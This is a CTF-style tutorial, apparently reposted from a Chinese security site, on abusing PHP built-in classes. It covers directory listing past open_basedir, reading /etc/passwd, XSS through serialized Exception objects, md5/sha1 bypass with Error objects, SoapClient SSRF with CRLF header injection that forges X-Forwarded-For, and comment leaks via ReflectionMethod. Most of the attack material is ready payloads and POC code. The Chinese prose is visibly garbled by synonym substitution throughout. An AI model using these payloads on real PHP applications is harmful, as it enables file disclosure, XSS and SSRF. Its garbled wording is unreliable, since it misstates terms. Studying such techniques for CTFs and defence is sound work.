这里先容两个原生类

Directorylterator

(PHP 5, PHP 7, PHP 8)

基类PHP浅析PHP原生类 PHP

Filesystemlterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

当然从官方文档我们不丢脸出两个原生类的关系

即继续关系查看官方文档可以创造在该类下有一个__toString()方法

而这个__toString()方法可以获取字符串形式的文件名

这边起一个docker环境本地测试一下

测试代码

<?phphighlight_file(__file__);$dir = $_GET[&#39;ki10Moc'];$a = new DirectoryIterator($dir);foreach($a as $f){ echo($f->__toString().'<br>');}?>

可以直接合营glob伪协议来读取目录

下面看一下效果图

这种姿势也可以忽略open_basedir的限定

并且从图中就可以看出这两个原生类的些许差异了,Filesystemlterator会以绝路路径的形式展现,而DirectoryIterator仅显示出当前目录下的文件信息

这两个类同样也有一句话形式payload:

DirectoryIterator:

$a = new DirectoryIterator("glob:///");foreach($a as $f){echo($f->__toString().'<br>');}

FilesystemIterator:

$a = new FilesystemIterator("glob:///");foreach($a as $f){echo($f->__toString().'<br>');}

这里大略测试一下

CTFshow web74

error_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}?>

传入payload

c=$a = new DirectoryIterator("glob:///");foreach($a as $f){echo($f->__toString().'<br>');}exit();

得到

包含一下即可

c=include('/flagx.txt');exit();

Globlterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

与前两个类的浸染相似,GlobIterator 类也是可以遍历一个文件目录,利用方法与前两个类也基本相似。
但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来探求文件路径。

既然遍历一个文件系统性为类似于glob()

以是在这个类中不须要合营glob伪协议,可以直策应用

看了一下文档创造该原生类是继续FilesystemIterator的,以是也因此绝对路径显示的

测试代码

<?phphighlight_file(__file__);$dir = $_GET['ki10Moc'];$a = new GlobIterator($dir);foreach($a as $f){ echo($f->__toString().'<br>');}?>

传参直接给路径就行

1.2读取文件内容

SplFileInfo(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo类为单个文件的信息供应了高等的面向工具接口SplFileInfo::__toString — Returns the path to the file as a string //将文件路径作为字符串返回

测试代码:

<?phphighlight_file(__file__);$context = new SplFileObject('/etc/passwd');foreach($context as $f){ echo($f);}

这里提一个小trickPHP的动态函数调用

举个例子

来看一下下面这段代码展示效果

<?phpecho ('system')('dir');?>

创造实在便是调用了system函数实行了dir

那这里给出一个Demo,供大家参考

class Example{ public $class; public $data; public function __construct() { $this->class = "FilesystemIterator"; $this->data = "/"; }// public function __destruct()// {// echo new $this->class($this->data);// }}

若是在反序列化题目,或者更多是在pop链布局的题目中见到形如$this->class($this->data)那就可以__destruct()方法传入类名和参数来布局我们的恶意paylaod

2.布局XSS

Error /Exception

官方文档显示两个内置类的利用条件:Error:用于PHP7、8,开启报错。
Exceotion:用于PHP5、7、8,开启报错。

Error是所有PHP内部缺点类的基类,该类是在PHP 7.0.0 中开始引入的

PHP7中,可以在echo时(PHP工具被当做字符串或利用)触发__toString,来布局XSS。

从官方文档中可以看出,这两个原生类的属性相同,都是对message、code、file、line的信息处理,并调用__toString()方法将非常的工具转换为字符串

测试代码:

<?phphighlight_file(__file__);$a = unserialize($_GET['k']);echo $a;?>

利用Exception::__toString方法来布局xss

<?php$a = new Exception("<script>alert('U_F1ind_Me')</script>");//new Error$b = serialize($a);echo urlencode($b);?>//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A36%3A%22%3Cscript%3Ealert%28%27U_F1ind_Me%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A34%3A%22D%3A%5CPHPstorm%5CPHPstormcode%5Cerror.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

3.绕过哈希

还是这两个类

Error /Exception

这里就用到我们上面提到的四个属性

message

缺点内容

code

缺点代码

file

抛出错误的文件名

line

抛出错误的行数

注:这里会返回缺点的行号,以是两个不同的工具在绕过hash函数时须要在同一行中。

<?phptry { throw new Error("Some error message");} catch(Error $e) { echo $e;}?>

来看一下报错信息

Error: Some error message in L:\PHPstorm\PHPstormcode\Error.php:3 Stack trace: #0 {main}

这里我们可以再来做个小测试来判断该原生类返回的信息是否相同

测试代码:

<?php$a = new Error("payload",1);$b = new Error("payload",2);var_dump($a === $b);//对a和b进行判断echo '<br>';echo $a;//输出aecho '<br>';echo $b;//输出becho '<br>';

来看一下结果

bool(false)Error: payload in D:\PHPstorm\PHPstormcode\errormd5.php:2 Stack trace: #0 {main}Error: payload in D:\PHPstorm\PHPstormcode\errormd5.php:2 Stack trace: #0 {main}

完备一样!


例题 [2020 极客大寻衅]Greatphp

这个题目是个经典的哈希值判断绕过,也是这个题目让我认识了Error

源码:

<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}if (isset($_GET['great'])){ unserialize($_GET['great']);} else { highlight_file(__FILE__);}?>

可以看出这里反序列化后直接调用__wakeup()方法,该方法会对两个成员变量进行判断,两者不相等,md5加密后强即是,sha1加密后强即是。

这里我们就利用Error类即可绕过。

关于题解网上有许多资源,这里就不再赘述。

4.SSRF

SoapClient

(PHP 5, PHP 7, PHP 8)

这里最早是在CTFshow的反序列化碰着的,当时都没听说过原生类,更不知道原生类还能SSRF,本类先容末了来做一下这道题目

PHP 的内置类 SoapClient 是一个专门用来访问web做事的类,可以供应一个基于SOAP协议访问Web做事的 PHP 客户端。

我的理解便是这个原生类大概类似Python中的requests库,可以与浏览器之间交互,并向其发送报文

函数形式:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数为指明是否为wsdl模式,为null则为非wsdl模式

wsdl,便是一个xml格式的文档,用于描述Web Server的定义

第二个参数为array,wsdl模式下可选;非wsdl模式下,须要设置ilocation和uri,location便是发送SOAP做事器的URL,uri是做事的命名空间

老规矩,还是本地测试一下,比翻博客更随意马虎理解

测试代码:

<?php$a = new SoapClient(null,array('location'=>'http://192.168.61.140:2021/ki10Moc', 'uri'=>'http://192.168.61.140:2021'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用工具中不存在的方法, 触发__call方法进行ssrf?>

本地也起个端口来看一下回显

从图中可以看到这便是一次报文的发送,记录着HTTP的一些header信息

试着注入Cookie看一下

<?php$target = 'http://192.168.61.140:2023/';$a = new SoapClient(null,array('location' => $target, 'user_agent' => "ki10Moc\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用工具中不存在的方法, 触发__call方法进行ssrf?>

从图中可以看到我们Use-Agent的信息已经更换成了ki10Moc

在学习的时候我溘然想到暑假看到一个一篇关于CRLF攻击的文章那在这里我们可不可以将两者结合起来,布局恶意的payload头部信息

其余,通过http的报文信息可以创造Content-Type在UA头的下面

要求的报文由要求头和body组成,要求头内部和body换行都是一个\r\n,也便是一个换行符(\n)一个回车符(\r),而两者之间是用两组换行符和回车符隔开,即\r\n\r\n

这里便是用CRLF(回车+换行的简称)注入一些恶意代码行实行。

这里可以看看wooyun的关于CRLF先容

那么下面我们就来考试测验一下

测试代码:

<?php$target = 'http://192.168.27.173:2023/';$post_data = 'data=ki10Moc';$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=8asIKRJGI2493324gfsjkk958');$a = new SoapClient(null,array('location' => $target,'user_agent'=>'Happy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'ki10Moc'));$b = serialize($a);$b = str_replace('^^',"\r\n",$b);echo $b;$c = unserialize($b);$c->a(); // 随便调用工具中不存在的方法, 触发__call方法进行ssrf?>

返回的信息

Connection from 192.168.27.1 62590 received!POST / HTTP/1.1Host: 192.168.27.173:2023Connection: Keep-AliveUser-Agent: HappyContent-Type: application/x-www-form-urlencodedX-Forwarded-For: 127.0.0.1Cookie: PHPSESSID=8asIKRJGI2493324gfsjkk958Content-Length: 12data=ki10MocContent-Type: text/xml; charset=utf-8SOAPAction: "ki10Moc#a"Content-Length: 368

从这里我们可以看到我们假造的XFF头,注入的Cookie和UA头都是可以成功实现的

那么末了就来看一下让我认识Soapclint这个原生类的题目

CTFshow web259

源码:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){ die('error');}else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); }}

$_SERVER[‘HTTP_X_FORWARDED_FOR’]会获取我们的XFF头的信息

并哀求是127.0.0.1,token为ctfshow

poc:

<?php$target = 'http://127.0.0.1/flag.php';$post_string = 'token=ctfshow';$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));$a = serialize($b);$a = str_replace('^^',"\r\n",$a);echo urlencode($a);?>

传参即可

5.获取注释内容

这是2021年国赛的时候,碰着的一个题目,也是我唯一做出来的题目….呜呜呜

ReflectionMethod

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容由该原生类中的getDocComment方法可以访问到注释的内容

本人没有在网上找到环境,就用源码自己改了一下注释和flag

源码:

<?phphighlight_file(__file__);class User{ private static $c = 0; function a() { return ++self::$c; } function b() { return ++self::$c; } function c() { return ++self::$c; } function d() { return ++self::$c; } function e() { / flag{asdgjfiokjFJI305-34525I47U-3SDFG} / return ++self::$c; } function f() { return ++self::$c; } function g() { return ++self::$c; } function h() { return ++self::$c; } function i() { return ++self::$c; } function j() { return ++self::$c; } function k() { return ++self::$c; } function l() { return ++self::$c; } function m() { return ++self::$c; } function n() { return ++self::$c; } function o() { return ++self::$c; } function p() { return ++self::$c; } function q() { return ++self::$c; } function r() { return ++self::$c; } function s() { return ++self::$c; } function t() { return ++self::$c; }}$rc=$_GET["rc"];$rb=$_GET["rb"];$ra=$_GET["ra"];$rd=$_GET["rd"];$method= new $rc($ra, $rb);var_dump($method->$rd());

这里rc是传入原生类名,rb和ra都是传入类的属性,rd时传入类方法,后面便是实例化并且调用该方法。

payload:

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

这些便是CTF小白目前所碰着的所有PHP原生类,都是根本的先容和学习,外加一点点自己的思考。

末了借乔布斯的名言结尾吧

Stay hungry, stay foolish!

本文由ki10、Mac原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/264823安全客 - 有思想的安全新媒体